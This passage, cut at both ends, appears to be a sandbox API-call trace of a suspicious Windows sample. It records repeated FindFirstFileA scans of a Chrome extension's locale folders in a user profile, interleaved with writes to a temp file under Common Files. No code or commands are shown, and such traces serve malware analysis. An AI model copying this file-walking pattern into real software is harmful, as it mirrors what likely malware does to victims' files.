0x7d18b0 [0139.565] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.565] GetLastError () returned 0x12 [0139.565] AreFileApisANSI () returned 1 [0139.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.565] GetFileType (hFile=0x128) returned 0x1 [0139.565] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.610] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.610] GetLastError () returned 0x12 [0139.610] AreFileApisANSI () returned 1 [0139.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.610] GetFileType (hFile=0x128) returned 0x1 [0139.610] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.611] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.611] GetLastError () returned 0x12 [0139.611] AreFileApisANSI () returned 1 [0139.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.611] GetFileType (hFile=0x128) returned 0x1 [0139.611] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.656] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.657] GetLastError () returned 0x12 [0139.657] AreFileApisANSI () returned 1 [0139.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.657] GetFileType (hFile=0x128) returned 0x1 [0139.657] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.657] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.658] GetLastError () returned 0x12 [0139.658] AreFileApisANSI () returned 1 [0139.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.658] GetFileType (hFile=0x128) returned 0x1 [0139.658] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.703] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.703] GetLastError () returned 0x12 [0139.703] AreFileApisANSI () returned 1 [0139.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.703] GetFileType (hFile=0x128) returned 0x1 [0139.704] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.704] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.704] GetLastError () returned 0x12 [0139.704] AreFileApisANSI () returned 1 [0139.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.704] GetFileType (hFile=0x128) returned 0x1 [0139.704] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.760] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.760] GetLastError () returned 0x12 [0139.760] AreFileApisANSI () returned 1 [0139.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.760] GetFileType (hFile=0x128) returned 0x1 [0139.760] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84176270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8417b090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8417b090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.761] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.761] GetLastError () returned 0x12 [0139.761] AreFileApisANSI () returned 1 [0139.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.761] GetFileType (hFile=0x128) returned 0x1 [0139.761] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841825c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.797] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.797] GetLastError () returned 0x12 [0139.797] AreFileApisANSI () returned 1 [0139.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.797] GetFileType (hFile=0x128) returned 0x1 [0139.797] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.798] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.798] GetLastError () returned 0x12 [0139.798] AreFileApisANSI () returned 1 [0139.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.798] GetFileType (hFile=0x128) returned 0x1 [0139.798] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.843] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.843] GetLastError () returned 0x12 [0139.843] AreFileApisANSI () returned 1 [0139.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.844] GetFileType (hFile=0x128) returned 0x1 [0139.844] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.844] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.844] GetLastError () returned 0x12 [0139.844] AreFileApisANSI () returned 1 [0139.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.844] GetFileType (hFile=0x128) returned 0x1 [0139.845] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.890] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.890] GetLastError () returned 0x12 [0139.890] AreFileApisANSI () returned 1 [0139.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.890] GetFileType (hFile=0x128) returned 0x1 [0139.891] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.891] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.891] GetLastError () returned 0x12 [0139.891] AreFileApisANSI () returned 1 [0139.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.891] GetFileType (hFile=0x128) returned 0x1 [0139.891] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ae4e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b0bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b0bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.937] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.937] GetLastError () returned 0x12 [0139.937] AreFileApisANSI () returned 1 [0139.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.938] GetFileType (hFile=0x128) returned 0x1 [0139.938] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841b5a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841b8120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841b8120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.938] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.938] GetLastError () returned 0x12 [0139.938] AreFileApisANSI () returned 1 [0139.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.938] GetFileType (hFile=0x128) returned 0x1 [0139.938] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841bcf40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841bf650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841bf650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.984] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.986] GetLastError () returned 0x12 [0139.986] AreFileApisANSI () returned 1 [0139.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.986] GetFileType (hFile=0x128) returned 0x1 [0139.987] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, 